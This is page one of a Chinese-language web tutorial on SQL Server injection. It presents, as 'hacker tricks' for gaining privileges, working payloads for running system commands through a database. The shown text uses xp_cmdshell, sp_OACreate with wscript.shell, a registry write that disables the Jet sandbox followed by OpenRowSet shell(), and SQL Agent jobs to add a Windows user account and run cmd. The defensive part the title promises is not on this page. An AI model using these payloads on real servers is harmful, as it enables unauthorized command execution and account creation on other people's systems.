• --:)欢迎访问锋网源码(:--
  • 首页
  • RSS订阅
  • 常用软件
  • 网页模板
  • 网站运作
  • 锋网学院
  • 智能建站
  • 时代互联
  • 中国红网
  • 中资源!
  • 繁體中文

  • 学院首页
  • 新闻资讯
  • 网站运营
  • 网站开发
  • 美工设计
  • 数据库类
  • 服务器类
  • 网络应用
  • 操作系统
  • 软件教学
编程开发   认证考试   网络安全   文章搜索: 高级搜索
会员登录/控制面版 您的位置: 学院首页 >> 服务器类 >> Linux服务器 >> 文章内容
 

精彩推荐

 
 

本类推荐文章

 
 

本类阅读排行

  • linux高负载下彻底优化mysql..
  • Fedora 8下Apache配置与管理
  • Linux操作系统下用单网卡捆绑..
  • 查看Linux系统版本信息的命令..
  • Linux时间设置与同步(NTP)
  • 修改linux文件权限命令:chm..
  • Linux系统下安装和配置MyEcl..
  • Linux架设DHCP服务器的方法
  • 系统管理工具包: 通过 OpenS..
  • Apache并发请求数及其TCP连接..
  • 全面提升Linux服务器的安全
  • Samba服务器的搭建与配置
  • Linux下使用SSH客户端及其Sf..
  • 关闭Linux系统下不必要的服务..
  • Linux上双网卡绑定方法(Sus..
  • Linux系统下usr的目录结构
  • Linux和Windows系统线程间的..
  • Linux:安装Apache与PHP
  • 优化 Apache 的几个实用技巧
  • SQL Server注入大全及防御
 
 

SQL Server注入大全及防御

  • 日期:2007-12-07     人气:     出处:本站     作者: 站长整理
  • 字体大小:
  • 小
  • 中
  • 大

  SQL Server是中小型网站广泛使用的数据库,由于功能强大也滋生了很多安全问题,国内又因为SQL注入攻击的很长一段时间流行,导致对SQL Server的入侵技巧也层出不穷,由于SQL Server支持多语句,相信很多小黑在对SQL Server进去SQL注入的时候很少使用猜解表名之类的方法,而直接转向使用SQL Server的存储过程和函数快速的拿权限,下面我就围绕SQL Server的系统存储过程和函数来介绍这些黑客技巧。

  一、执行系统命令

  利用存储过程我们可以快速方便的获取一个shell,如执行系统命令,存储扩展调用如下:

  exec master..xp_cmdshell 'net user ray ray /add'

  xp_cmdshell是SQL Server自带的系统命令存储过程,默认情况下只有SYSADMIN服务器角色才能执行。

  

  利用OLE对象接口,SQL SERVER提供了一些函数访问OLE对象,分别是sp_OACREATE和sp_OAMethod,可以利用他们调用OLE控件,间接获取一个shell。使用SP_OAcreate调用对象wscript。shell赋给变量@shell,然后使用SP_OAMETHOD调用@shell的属性run执行命令。

  DECLARE @shell INT

  EXEC SP_OAcreate 'wscript.shell',@shell out

  EXEC SP_OAMETHOD @shell,'run',null, 'net user ray ray /add'

  

  开启access的沙盒模式,在默认情况下Jet数据引擎不支持select shell("net user ray ray /add")这样的SQL语句,但是开启了JET引擎的沙盒模式后就可以执行命令,先利用xp_regwrite存储过程改写注册表,然后利用OpenRowSet访问一个系统本身自带的一个ACCESS数据库文件,再执行运行命令的SQL语句。

  EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0 \Engines','SandBoxMode','REG_DWORD',0

  

  Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user ray ray /add")');

  

  除开这些,还可以利用SQL代理执行命令,当然必须先开启SQL代理服务,默认情况下这个服务是关闭的.我们可以先利用xp_servicecontrol开启SQLSERVERAGENT,然后建立个SQL计划任务,然后马上运行这个任务。

  exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'

  use msdb exec sp_delete_job null,'x'

  exec sp_add_job 'x'

  exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c Dir C:\'

  exec sp_add_jobserver Null,'x',@@servername exec sp_start_job 'x'

[1] [2]
相关文章
  • 把sql server所有表的所有者改为dbo
  • SQL Server关于SQL Agent使用技巧
  • 触发器对SQL Server数据库进行备份
  • 保证电脑安全的十个技巧
  • SQL Server新库和旧库数据字典的比较
  • 一个获取SQL Server数据字典的经典SQL语句
  • 三个SQL视图查出所有SQL Server数据库字典
  • SQL Server中“函数”的两种用法
  • SQL Server系统数据库的工作原理
  • 在不同版本的SQL Server中存储数据
相关软件

  • 网友评论:
  • 查看所有评论
  • 我要发表评论
 

关于本站 | 广告联系 | 版权声明 | 网站地图 | 加入收藏 | 帮助中心 |

Copyright © 2006-2007 fwvv.net  程序支持:木翼  皖ICP备06004916号  

感谢:点击网络 联网科技 天盈信息  提供服务器及带宽赞助